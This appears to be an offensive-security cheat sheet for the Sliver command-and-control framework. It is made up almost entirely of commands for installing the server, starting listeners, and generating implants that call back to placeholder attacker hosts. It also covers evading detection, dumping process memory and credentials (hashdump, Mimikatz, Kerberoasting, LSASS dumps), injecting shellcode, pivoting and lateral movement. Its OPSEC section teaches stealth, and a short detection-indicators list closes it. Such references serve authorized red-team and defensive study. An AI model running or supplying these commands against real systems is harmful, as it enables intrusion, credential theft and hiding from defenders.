SLIVER

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Open-source C2 framework by BishopFox. Modern alternative to
Cobalt Strike with cross-platform implants and multiplayer support.

INSTALLATION & SETUP#

# One-liner install (Linux/macOS)
curl https://sliver.sh/install | sudo bash

# From GitHub releases
# https://github.com/BishopFox/sliver/releases

# Start server (first run generates certs and configs)
sliver-server

# Generate operator config (multiplayer)
sliver-server operator --name operator1 --lhost TEAMSERVER_IP
# Import config on operator machine
sliver import operator1_TEAMSERVER.cfg

# Start client (multiplayer)
sliver

LISTENERS#

# mTLS listener (most reliable)
sliver> mtls --lhost 0.0.0.0 --lport 443

# HTTPS listener
sliver> https --lhost 0.0.0.0 --lport 8443
sliver> https --lhost 0.0.0.0 --lport 443 --domain cdn.legit.com
sliver> https --lhost 0.0.0.0 --lport 443 --cert cert.pem --key key.pem

# HTTP listener
sliver> http --lhost 0.0.0.0 --lport 80

# DNS listener
sliver> dns --domains c2.example.com --lport 53
# Requires NS record pointing to Sliver server

# WireGuard listener
sliver> wg --lport 53

# List active listeners (jobs)
sliver> jobs
sliver> jobs -k <JOB_ID>            # Kill listener

IMPLANT GENERATION#

# Sessions (interactive, persistent connection)
sliver> generate --mtls ATTACKER:443 --os windows --arch amd64
sliver> generate --mtls ATTACKER:443 --os linux --arch amd64
sliver> generate --mtls ATTACKER:443 --os darwin --arch arm64

# Beacons (asynchronous, callback-based)
sliver> generate beacon --mtls ATTACKER:443 --os windows
sliver> generate beacon --http ATTACKER:8443 --os windows
sliver> generate beacon --dns c2.example.com --os linux
sliver> generate beacon --seconds 30 --jitter 20    # Callback interval

# Multiple C2 protocols (failover)
sliver> generate --mtls ATTACKER:443 --http ATTACKER:8443 --dns c2.example.com

# Format options
sliver> generate --mtls ATTACKER:443 --format exe     # Executable
sliver> generate --mtls ATTACKER:443 --format shared   # Shared library
sliver> generate --mtls ATTACKER:443 --format service  # Windows service
sliver> generate --mtls ATTACKER:443 --format shellcode # Raw shellcode

# Evasion options
sliver> generate --mtls ATTACKER:443 --skip-symbols     # Strip symbols
sliver> generate --mtls ATTACKER:443 --debug             # Debug implant
sliver> generate --mtls ATTACKER:443 --evasion           # Enable evasion
sliver> generate --mtls ATTACKER:443 --name IMPLANT_NAME # Custom name
sliver> generate --mtls ATTACKER:443 --limit-datetime 2024-12-31T23:59:59
sliver> generate --mtls ATTACKER:443 --limit-fileexists /tmp/check

# Stagers
sliver> generate stager --lhost ATTACKER --lport 8443 --protocol tcp
sliver> stage-listener --url tcp://ATTACKER:8443 --profile implant_profile

# List generated implants
sliver> implants
sliver> implants rm IMPLANT_NAME

# Regenerate implant
sliver> regenerate IMPLANT_NAME

SESSION & BEACON MANAGEMENT#

# List active sessions/beacons
sliver> sessions
sliver> beacons

# Interact with session
sliver> use SESSION_ID
sliver> sessions -i SESSION_ID

# Interact with beacon
sliver> use BEACON_ID
sliver> beacons -i BEACON_ID

# Background session
sliver (IMPLANT)> background

# Kill session/beacon
sliver> sessions -k SESSION_ID
sliver> beacons -k BEACON_ID

# Rename
sliver> rename -n NEW_NAME

# Beacon interval
sliver (BEACON)> reconfig -i 60 -j 30   # 60s interval, 30% jitter

POST-EXPLOITATION#

# System info
sliver (IMPLANT)> info                   # Implant details
sliver (IMPLANT)> whoami                 # Current user
sliver (IMPLANT)> getuid                 # User ID
sliver (IMPLANT)> getgid                 # Group ID
sliver (IMPLANT)> ifconfig               # Network interfaces
sliver (IMPLANT)> netstat                # Network connections
sliver (IMPLANT)> screenshot             # Take screenshot
sliver (IMPLANT)> env                    # Environment variables

# Process management
sliver (IMPLANT)> ps                     # List processes
sliver (IMPLANT)> procdump -p PID        # Dump process memory
sliver (IMPLANT)> terminate PID          # Kill process

# Shell access
sliver (IMPLANT)> shell                  # Interactive shell
sliver (IMPLANT)> execute -o cmd.exe /c whoami   # Run command
sliver (IMPLANT)> execute -o /bin/bash -c "id"

# File operations
sliver (IMPLANT)> ls /path/              # List directory
sliver (IMPLANT)> cd /path/              # Change directory
sliver (IMPLANT)> pwd                    # Current directory
sliver (IMPLANT)> cat /etc/passwd        # Read file
sliver (IMPLANT)> download /etc/passwd   # Download file
sliver (IMPLANT)> upload /local/file /remote/path  # Upload file
sliver (IMPLANT)> rm /path/to/file       # Delete file
sliver (IMPLANT)> mkdir /path/dir        # Create directory

# Registry (Windows)
sliver (IMPLANT)> registry read --hive HKLM --path "SOFTWARE\Microsoft"
sliver (IMPLANT)> registry write --hive HKLM --path "path" --type string --value "val"

.NET ASSEMBLY & DLL LOADING#

# Execute .NET assembly in memory
sliver (IMPLANT)> execute-assembly /path/to/Rubeus.exe kerberoast
sliver (IMPLANT)> execute-assembly /path/to/Seatbelt.exe -group=all

# Sideload DLL (reflective loading)
sliver (IMPLANT)> sideload /path/to/payload.dll EntryPoint
sliver (IMPLANT)> sideload -p PID /path/to/payload.dll

# Spawn DLL (in new process)
sliver (IMPLANT)> spawndll /path/to/payload.dll EntryPoint

# Execute shellcode
sliver (IMPLANT)> execute-shellcode /path/to/shellcode.bin
sliver (IMPLANT)> execute-shellcode -p PID /path/to/sc.bin  # Inject

PIVOTING & TUNNELING#

# SOCKS5 proxy (route traffic through implant)
sliver (IMPLANT)> socks5 start
sliver (IMPLANT)> socks5 start -P 1080   # Custom port
sliver (IMPLANT)> socks5 stop

# Port forwarding
sliver (IMPLANT)> portfwd add -r TARGET:3389 -b 127.0.0.1:3389
sliver (IMPLANT)> portfwd add -r 10.10.10.5:445 -b 0.0.0.0:445
sliver (IMPLANT)> portfwd rm -i FORWARD_ID

# Reverse port forward
sliver (IMPLANT)> rportfwd add -r ATTACKER:8080 -b 127.0.0.1:80
sliver (IMPLANT)> rportfwd rm -i FORWARD_ID

# Pivots (implant-to-implant communication)
sliver (IMPLANT)> pivots tcp --bind 0.0.0.0:9090
sliver (IMPLANT)> pivots named-pipe --pipe-name mypipe

# Generate pivot implant
sliver> generate --tcp-pivot PIVOT_HOST:9090 --os windows
sliver> generate --named-pipe-pivot PIVOT_HOST/mypipe --os windows

LATERAL MOVEMENT#

sliver (IMPLANT)> psexec -t TARGET       # PsExec lateral movement
sliver (IMPLANT)> psexec -t TARGET -s service_name -d "Service desc"

# Use socks5 proxy + external tools for more options
# proxychains crackmapexec smb TARGET -u user -p pass

CREDENTIAL OPERATIONS#

# Windows
sliver (IMPLANT)> hashdump               # Dump SAM hashes
sliver (IMPLANT)> execute-assembly Rubeus.exe kerberoast
sliver (IMPLANT)> execute-assembly Mimikatz.exe sekurlsa::logonpasswords

ARMORY (EXTENSIONS & ALIASES)#

# List available extensions
sliver> armory

# Install extensions
sliver> armory install rubeus            # Kerberos attacks
sliver> armory install seatbelt          # Situational awareness
sliver> armory install sharp-hound-4     # BloodHound collection
sliver> armory install certify           # AD CS exploitation
sliver> armory install nanodump          # LSASS dump
sliver> armory install sa-ldap           # LDAP queries

# Use installed extension
sliver (IMPLANT)> rubeus kerberoast
sliver (IMPLANT)> seatbelt -group=all
sliver (IMPLANT)> sharp-hound-4 -c All

# Install aliases
sliver> armory install sharp-up          # SharpUp priv esc
sliver> armory install sharpview         # SharpView AD enum

# Custom extensions
sliver> extensions install /path/to/extension.tar.gz

MULTIPLAYER OPERATIONS#

# Generate operator config on server
sliver-server operator --name operator1 --lhost SERVER_IP --save operator1.cfg

# Import config on operator workstation
sliver import operator1.cfg

# Connect
sliver

# List operators
sliver> operators

# Multi-operator chat
sliver> chat "message to all operators"

PROFILES & STAGING#

# Create implant profile
sliver> profiles new --mtls ATTACKER:443 --os windows --format shellcode profile_name

# List profiles
sliver> profiles

# Create stage listener from profile
sliver> stage-listener --url http://ATTACKER:8080/font.woff --profile profile_name

OPSEC CONSIDERATIONS#

  - Use beacon mode for stealth (async callbacks vs persistent connection)
  - Set appropriate sleep interval (60s+ for long-haul operations)
  - Add jitter (20-50%) to avoid beacon pattern detection
  - Use --skip-symbols to strip debug information
  - Use HTTPS with legitimate domains and valid certificates
  - Avoid default ports; use 443, 80, 8443 for blending
  - Use DNS C2 for restrictive network environments
  - Pivot through compromised hosts to reach internal targets
  - Use execute-assembly for fileless tool execution
  - Avoid shell command when possible (prefer execute)
  - Rotate implants and infrastructure during long engagements

DETECTION INDICATORS#

  - Default Sliver TLS certificate attributes
  - HTTP C2 URI patterns and response headers
  - mTLS connections on non-standard ports
  - Process injection events (ETW)
  - Unusual DNS query patterns (DNS C2)
  - In-memory .NET assembly execution
  - Named pipe creation for pivot communication

🌶 SLIVER

INSTALLATION & SETUP#

LISTENERS#

IMPLANT GENERATION#

SESSION & BEACON MANAGEMENT#

POST-EXPLOITATION#

.NET ASSEMBLY & DLL LOADING#

PIVOTING & TUNNELING#

LATERAL MOVEMENT#

CREDENTIAL OPERATIONS#

ARMORY (EXTENSIONS & ALIASES)#

MULTIPLAYER OPERATIONS#

PROFILES & STAGING#

OPSEC CONSIDERATIONS#

DETECTION INDICATORS#

SLIVER